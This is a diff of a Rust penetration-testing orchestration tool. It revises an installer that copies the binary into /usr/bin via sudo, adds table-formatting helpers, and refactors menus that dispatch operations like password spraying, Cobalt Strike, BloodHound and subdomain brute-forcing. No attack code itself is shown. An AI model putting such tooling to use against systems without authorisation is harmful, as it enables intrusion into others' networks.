let project_write_res = write!(project_conf_file, "Projects Config File\ndefault:default:{}:{}:yes:{}:current", ¤t_notes.display(), ¤t_projects.display(), &template_box_name);
|
||||
if project_write_res.is_err(){
|
||||
println!("error writing project config file.");
|
||||
exit(1);
|
||||
@@ -270,6 +271,35 @@ vault_name:{}"
|
||||
exit(1);
|
||||
}
|
||||
password_write_res.unwrap();
|
||||
println!("install completed successfully!");
|
||||
println!("re-run this to launch!");
|
||||
let current_path_res = env::current_exe();
|
||||
let mut copied_to_path = false;
|
||||
if current_path_res.is_ok(){
|
||||
let current_path = current_path_res.unwrap();
|
||||
let mut new_path = PathBuf::from("/usr/bin/pentest_tool");
|
||||
print_informational("We ar going to try and copy this executable to a location on your $PATH");
|
||||
print_informational("the default location is /usr/bin/pentest_tool");
|
||||
if get_user_input("is this ok?").contains("n"){
|
||||
new_path.clear();
|
||||
new_path.push(get_user_input("ooof, ok. Please enter where you'd like to save it on your $PATH"));
|
||||
if !new_path.display().to_string().contains("pentest_tool"){
|
||||
new_path.push("pentest_tool");
|
||||
}
|
||||
}
|
||||
let copy_cmd_res = Command::new("sudo").arg("cp").arg(current_path.display().to_string()).arg(new_path.display().to_string()).status();
|
||||
if copy_cmd_res.is_ok(){
|
||||
let copy_cmd_status = copy_cmd_res.unwrap();
|
||||
if copy_cmd_status.success(){
|
||||
copied_to_path = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
if !copied_to_path{
|
||||
print_informational("we could not copy this executable to your path!");
|
||||
print_informational("please copy this file to somewhere on your $PATH.");
|
||||
print_informational("for example `cp pentest_tool /usr/bin/pentest_tool");
|
||||
print_success("otherwise this tool is ready to go, you would just need to launch it from this folder.");
|
||||
}
|
||||
else{
|
||||
print_success("install completed successfully!");
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,4 @@
|
||||
use std::collections::HashMap;
|
||||
use std::{io::stdin, path::PathBuf, process::Command};
|
||||
use directories::UserDirs;
|
||||
use std::process::exit;
|
||||
@@ -28,9 +29,112 @@ mod victim_commands;
|
||||
mod enumeration;
|
||||
mod tool_controls;
|
||||
mod configuration;
|
||||
mod exploit;
|
||||
|
||||
pub fn print_error(message: &str ,error: String){
|
||||
println!("{}", message.red());
|
||||
println!("{}", error.red());
|
||||
}
|
||||
|
||||
pub fn print_success<T>(message: T) where T: AsRef<str> {
|
||||
println!("{}", message.as_ref().green());
|
||||
}
|
||||
|
||||
pub fn print_informational<T>(message: T) where T: AsRef<str>{
|
||||
println!("{}", message.as_ref().custom_color((255,165,0)));
|
||||
}
|
||||
|
||||
pub fn tableize(given_lines: Vec<String>) {
|
||||
let column_count = given_lines[0].split("||").collect::<Vec<&str>>().len();
|
||||
// the following code just adds a junk line in at index 1 because that gets eaten for some reason...
|
||||
// I want to try to figure out why its getten eaten, but just needed to get it working for now.
|
||||
let mut lines = Vec::new();
|
||||
let mut junk_line = format!("{}", "junk||".repeat(column_count));
|
||||
junk_line.pop();
|
||||
junk_line.pop();
|
||||
for line in given_lines{
|
||||
lines.push(line);
|
||||
}
|
||||
lines.insert(1,junk_line);
|
||||
// end of junk line logic.
|
||||
let (terminal_width, _terminal_height) = term_size::dimensions().unwrap();
|
||||
let mut column_sizes:HashMap<usize, usize> = HashMap::new();
|
||||
for column_number in 0..column_count{
|
||||
column_sizes.insert(column_number, 0);
|
||||
}
|
||||
let mut longest_column = 0;
|
||||
for line in &lines{
|
||||
let cells: Vec<&str> = line.split("||").collect();
|
||||
let mut current_cell: usize = 0;
|
||||
for cell in cells{
|
||||
let cell_length = cell.len() + 2;
|
||||
if column_sizes[¤t_cell] < cell_length{
|
||||
column_sizes.insert(current_cell, cell_length);
|
||||
}
|
||||
if cell_length > longest_column{
|
||||
longest_column = current_cell;
|
||||
}
|
||||
current_cell += 1;
|
||||
}
|
||||
|
||||
let longest_line = (column_count*2) - 1;
|
||||
if longest_line > terminal_width{
|
||||
let difference = longest_line - terminal_width - 3;
|
||||
column_sizes.insert(longest_column, column_sizes[&longest_column] - difference);
|
||||
}
|
||||
}
|
||||
let mut header = String::new();
|
||||
let mut outdata = String::new();
|
||||
let mut count = 0;
|
||||
let mut separater = String::new();
|
||||
let ending = format!("{}\n", "|".green());
|
||||
for line in lines{
|
||||
count += 1;
|
||||
//println!("{}", line);
|
||||
let mut add_ending = false;
|
||||
let data_vec: Vec<&str> = line.split("||").collect();
|
||||
let mut column_numbers: Vec<&usize> = column_sizes.keys().collect();
|
||||
column_numbers.sort_by(|a, b| a.cmp(b));
|
||||
for column in column_numbers{
|
||||
let mut data_to_add = String::new();
|
||||
let mut data_vec_len = data_vec[*column].len();
|
||||
if data_vec_len > column_sizes[&longest_column]{
|
||||
while data_vec_len > column_sizes[&longest_column]{
|
||||
data_vec_len = data_vec_len / 2;
|
||||
let (data_vec_start, data_vec_end) = data_vec[*column].split_at(data_vec_len);
|
||||
data_to_add = format!("{}\n{}", data_vec_start, data_vec_end);
|
||||
}
|
||||
}
|
||||
else{
|
||||
data_to_add = String::from(data_vec[*column]);
|
||||
}
|
||||
let padding = column_sizes[column] - data_vec_len;
|
||||
if count == 1{
|
||||
let formatted_cell = format!("{} {}{}", "|".green(), data_vec[*column].bold().green(), " ".repeat(padding));
|
||||
header.push_str(&formatted_cell);
|
||||
}
|
||||
else if count == 2 {
|
||||
let formatted_cell = format!("{} {} ", "|".green(), "-".repeat(column_sizes[column] - 1).green());
|
||||
separater.push_str(&formatted_cell);
|
||||
}
|
||||
else {
|
||||
let formatted_cell = format!("{} {}{}", "|".green(), data_to_add, " ".repeat(padding));
|
||||
outdata.push_str(&formatted_cell);
|
||||
add_ending = true;
|
||||
}
|
||||
}
|
||||
if add_ending{
|
||||
outdata.push_str(&ending)
|
||||
}
|
||||
}
|
||||
outdata.push_str(&separater);
|
||||
outdata.push_str(&ending);
|
||||
let print_output = format!("{}{}{}{}{}", header, ending, separater, ending, outdata);
|
||||
println!("{}", print_output);
|
||||
}
|
||||
|
||||
pub fn open_overwrite(path: &PathBuf) -> Option<File>{
|
||||
let file_create_res = fs::OpenOptions::new().create(true).write(true).open(path);
|
||||
let file_create_res = fs::OpenOptions::new().create(true).write(true).truncate(true).open(path);
|
||||
if file_create_res.is_err(){
|
||||
let error = file_create_res.err().unwrap();
|
||||
println!("{} {} {}","error opening".red(), path.display().to_string().red(), " file".red());
|
||||
@@ -116,53 +220,11 @@ fn main() {
|
||||
if config_path.as_path().exists() == false{
|
||||
install::install(&config_path);
|
||||
}
|
||||
let mut project_base_folder = PathBuf::new();
|
||||
let mut project_base_notes = PathBuf::new();
|
||||
let mut tools_folder = PathBuf::new();
|
||||
let mut terminal_command = String::new();
|
||||
let mut box_template = String::new();
|
||||
let mut cracking_rig = String::new();
|
||||
let mut rockyou = String::new();
|
||||
let mut rule = String::new();
|
||||
let mut upcoming_files = PathBuf::new();
|
||||
let mut upcoming_notes = PathBuf::new();
|
||||
let mut pass_spray_file = PathBuf::new();
|
||||
let mut fingerprint = false;
|
||||
let mut vault_name = String::new();
|
||||
println!("\nconfig already generated\nloading config file...\n");
|
||||
let settings_string = fs::read_to_string(&config_path).expect("error reading config file");
|
||||
let settings: Vec<&str> = settings_string.split("\n").collect();
|
||||
for line in settings{
|
||||
if line.len() > 1{
|
||||
let setting_vec: Vec<&str> = line.split(":").collect();
|
||||
match setting_vec[0]{
|
||||
"Project_files" => project_base_folder.push(setting_vec[1].trim_end()),
|
||||
"Project_notes" => project_base_notes.push(setting_vec[1].trim_end()),
|
||||
"tools_folder" => tools_folder.push(setting_vec[1].trim_end()),
|
||||
"upcoming_files" => upcoming_files.push(setting_vec[1].trim_end()),
|
||||
"upcoming_notes" => upcoming_notes.push(setting_vec[1].trim_end()),
|
||||
"box_template" => box_template = setting_vec[1].trim_end().to_owned(),
|
||||
"terminal" => terminal_command = setting_vec[1].trim_end().to_owned(),
|
||||
"cracking_rig" => cracking_rig = setting_vec[1].trim_end().to_owned(),
|
||||
"rockyou_location" => rockyou = setting_vec[1].trim_end().to_owned(),
|
||||
"rule_location" => rule = setting_vec[1].trim_end().to_owned(),
|
||||
"pass_file"=> pass_spray_file.push(setting_vec[1]),
|
||||
"fingerprint" => {if setting_vec[1].contains("y"){fingerprint = true}},
|
||||
"vault_name" => vault_name = setting_vec[1].trim_end().to_owned(),
|
||||
_ => println!("error unknown setting: {}", setting_vec[0])
|
||||
}
|
||||
}
|
||||
let settings = configuration::load_config(&config_path);
|
||||
for setting in settings.keys(){
|
||||
println!("{}: {}", setting, settings[setting].green());
|
||||
}
|
||||
print!("
|
||||
Project Folders: {}
|
||||
Note Folders: {}
|
||||
Tools Folder: {}
|
||||
distrobox template: {}
|
||||
terminal_command: {}
|
||||
cracking_rig: {}\n
|
||||
upcoming project folders: {}
|
||||
upcoming project notes: {}
|
||||
", &project_base_folder.display().to_string().green(), &project_base_notes.display().to_string().green(), &tools_folder.display().to_string().green(), box_template.to_string().green(), terminal_command.green(), cracking_rig.green(), &upcoming_files.display().to_string().green(), &upcoming_notes.display().to_string().green());
|
||||
println!("{}","loading project configs...".green());
|
||||
let projects_res = project_controls::get_projects(&config_path, true);
|
||||
if projects_res.is_none(){
|
||||
@@ -170,7 +232,7 @@ fn main() {
|
||||
println!("{}", "CHECK YOUR PROJECTS.CONF FILE".red());
|
||||
return;
|
||||
}
|
||||
let projects = projects_res.unwrap();
|
||||
let _continue = get_user_input("press enter to load command line interface.");
|
||||
cli::cli(true, projects, config_path, &project_base_folder, &project_base_notes, &tools_folder, box_template, terminal_command, cracking_rig, rockyou, rule, &upcoming_files, &upcoming_notes, &pass_spray_file, fingerprint, vault_name);
|
||||
let mut projects = projects_res.unwrap();
|
||||
let _continue = get_user_input("press enter to load Command Line Interface");
|
||||
cli::cli(&mut projects, &config_path);
|
||||
}
|
||||
|
||||
@@ -1,28 +1,20 @@
|
||||
use std::path::PathBuf;
|
||||
use std::thread::JoinHandle;
|
||||
use std::collections::HashMap;
|
||||
use clearscreen::clear;
|
||||
use clearscreen;
|
||||
use colored::Colorize;
|
||||
use crate::get_user_input;
|
||||
use crate::Project;
|
||||
use crate::cli;
|
||||
|
||||
pub fn main_menu(projects: &mut Vec<Project>,
|
||||
config_path: PathBuf,
|
||||
base_files: &PathBuf,
|
||||
base_notes: &PathBuf,
|
||||
tools_dir: &PathBuf,
|
||||
boxtemplate: String,
|
||||
terminal: String,
|
||||
cracking_rig: String,
|
||||
rockyou: String,
|
||||
rule: String,
|
||||
upcoming_files: &PathBuf,
|
||||
upcoming_notes: &PathBuf,
|
||||
password_spray_file: &PathBuf,
|
||||
fingerprint: bool,
|
||||
vault_name: String) -> Option<Vec<JoinHandle<()>>>{
|
||||
pub fn main_menu(given_projects: &mut Vec<Project>,
|
||||
config_path: PathBuf,
|
||||
settings: &HashMap<&str, String>
|
||||
) -> Option<Vec<JoinHandle<()>>>{
|
||||
let mut loopize = true;
|
||||
let mut threads = Vec::new();
|
||||
let mut projects = given_projects.clone();
|
||||
let banner = "
|
||||
,,,;;::ccccc::;;;::c::;,;::cccccllc::::::;:::;;;;,,;,'',,;,,;;;;;;;:;;;;;,,,,,,,,,,,'''''',,,,,,''''
|
||||
,;;;::ccccc::::::ccc:;;;:ccccccclc::ccccccc::;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,,,,,,,,,'''''''''',,,,,''
|
||||
@@ -66,6 +58,9 @@ pub fn main_menu(projects: &mut Vec<Project>,
|
||||
clear().expect("error clearing screen");
|
||||
print!("
|
||||
{}
|
||||
{}
|
||||
|
||||
\n", banner.custom_color((255,165,0)), "
|
||||
___ ___ _ ___ ___
|
||||
| \\/ | (_) | \\/ | _
|
||||
| . . | __ _ _ _ __ | . . | ___ _ __ _ _(_)
|
||||
@@ -102,39 +97,39 @@ ___ ___ _ ___ ___
|
||||
28.) enter external only menu
|
||||
29.) enter internal only menu
|
||||
30.) exit menu
|
||||
\n", banner);
|
||||
".custom_color((255,165,0)));
|
||||
match get_user_input("selection?").as_str(){
|
||||
"1" => {let thread_option = cli::run_command("show active project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"2" => {let thread_option = cli::run_command("list projects".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"3" => {let thread_option = cli::run_command("switch project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"5" => {let thread_option = cli::run_command("save projects".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"6" => {let thread_option = cli::run_command("import project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"7" => {let thread_option = cli::run_command("remove project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"8" => {let thread_option = cli::run_command("show upcoming projects".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"9" => {let thread_option = cli::run_command("promote project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"10" => {let thread_option = cli::run_command("new terminal".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"12" => {let thread_option = cli::run_command("cobalt strike".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"13" => {let thread_option = cli::run_command("recreate distrobox".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"14" => {let thread_option = cli::run_command("generate userpass".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"15" => {let thread_option = cli::run_command("initial enum".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"16" => {let thread_option = cli::run_command("build attack notes".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"17" => {let thread_option = cli::run_command("host discovery".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"18" => {let thread_option = cli::run_command("port scan".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"19" => {let thread_option = cli::run_command("parse port scan".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"20" => {let thread_option = cli::run_command("stop boxes".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"21" => {let thread_option = cli::run_command("password spray".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"22" => {let thread_option = cli::run_command("bloodhound".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"23" => {let thread_option = cli::run_command("parse gather contacts".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"24" => {let thread_option = cli::run_command("prune distroboxes".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"25" => {let thread_option = cli::run_command("dns records".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"26" => {let thread_option = cli::run_command("brute force subdomains".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"27" => {let thread_option = cli::run_command("dns enumeration".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"28" => {let threads_option = external_menu(banner, projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.clone(), cracking_rig.clone(), rockyou.clone(), rule.clone(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.clone()); if threads_option.is_some(){for thread in threads_option.unwrap(){threads.push(thread)}}},
|
||||
"29" => {let threads_option = internal_menu(banner, projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.clone(), cracking_rig.clone(), rockyou.clone(), rule.clone(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.clone()); if threads_option.is_some(){for thread in threads_option.unwrap(){threads.push(thread)}}},
|
||||
"1" => {let thread_option = cli::run_command("show active project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"2" => {let thread_option = cli::run_command("list &mut projects".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"3" => {let thread_option = cli::run_command("switch project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"5" => {let thread_option = cli::run_command("save &mut projects".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"6" => {let thread_option = cli::run_command("import project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"7" => {let thread_option = cli::run_command("remove project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"8" => {let thread_option = cli::run_command("show upcoming &mut projects".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"9" => {let thread_option = cli::run_command("promote project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"10" => {let thread_option = cli::run_command("new terminal".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"12" => {let thread_option = cli::run_command("cobalt strike".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"13" => {let thread_option = cli::run_command("recreate distrobox".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"14" => {let thread_option = cli::run_command("generate userpass".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"15" => {let thread_option = cli::run_command("initial enum".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"16" => {let thread_option = cli::run_command("build attack notes".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"17" => {let thread_option = cli::run_command("host discovery".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"18" => {let thread_option = cli::run_command("port scan".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"19" => {let thread_option = cli::run_command("parse port scan".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"20" => {let thread_option = cli::run_command("stop boxes".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"21" => {let thread_option = cli::run_command("password spray".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"22" => {let thread_option = cli::run_command("bloodhound".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"23" => {let thread_option = cli::run_command("parse gather contacts".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"24" => {let thread_option = cli::run_command("prune distroboxes".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"25" => {let thread_option = cli::run_command("dns records".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"26" => {let thread_option = cli::run_command("brute force subdomains".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"27" => {let thread_option = cli::run_command("dns enumeration".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"28" => {let threads_option = external_menu(banner, &mut projects, config_path.clone(), settings); if threads_option.is_some(){for thread in threads_option.unwrap(){threads.push(thread);}}},
|
||||
"29" => {let threads_option = internal_menu(banner, &mut projects, config_path.clone(), settings); if threads_option.is_some(){for thread in threads_option.unwrap(){threads.push(thread);}}},
|
||||
"30" => loopize = false,
|
||||
_ => println!("unknown selection, try again!"),
|
||||
_ => println!("{}","unknown selection, try again!".red()),
|
||||
}
|
||||
}
|
||||
if threads.len() > 0{
|
||||
@@ -145,28 +140,19 @@ ___ ___ _ ___ ___
|
||||
}
|
||||
pub fn external_menu(
|
||||
banner: &str,
|
||||
projects: &mut Vec<Project>,
|
||||
mut projects: &mut Vec<Project>,
|
||||
config_path: PathBuf,
|
||||
base_files: &PathBuf,
|
||||
base_notes: &PathBuf,
|
||||
tools_dir: &PathBuf,
|
||||
boxtemplate: String,
|
||||
terminal: String,
|
||||
cracking_rig: String,
|
||||
rockyou: String,
|
||||
rule: String,
|
||||
upcoming_files: &PathBuf,
|
||||
upcoming_notes: &PathBuf,
|
||||
password_spray_file: &PathBuf,
|
||||
fingerprint: bool,
|
||||
vault_name: String) -> Option<Vec<JoinHandle<()>>>{
|
||||
settings: &HashMap<&str, String>
|
||||
) -> Option<Vec<JoinHandle<()>>>{
|
||||
let mut loopize = true;
|
||||
let mut threads = Vec::new();
|
||||
while loopize {
|
||||
let _enter_to_clear = get_user_input("press enter to display external project menu.");
|
||||
clear().expect("error clearing screen");
|
||||
print!("
|
||||
{}
|
||||
{}
|
||||
{}
|
||||
\n", banner.custom_color((255,165,0)), "
|
||||
_____ _ _ ___ ___
|
||||
| ___| | | | | | \\/ | _
|
||||
| |____ _| |_ ___ _ __ _ __ __ _| | | . . | ___ _ __ _ _(_)
|
||||
@@ -196,32 +182,32 @@ ___ ___ _ ___ ___
|
||||
21.) Brute force Subdomains
|
||||
22.) Do all DNS Enumeration
|
||||
23.) exit menu
|
||||
\n", banner);
|
||||
".custom_color((255,165,0)));
|
||||
match get_user_input("selection?").as_str(){
|
||||
"1" => {let thread_option = cli::run_command("show active project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"2" => {let thread_option = cli::run_command("list projects".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
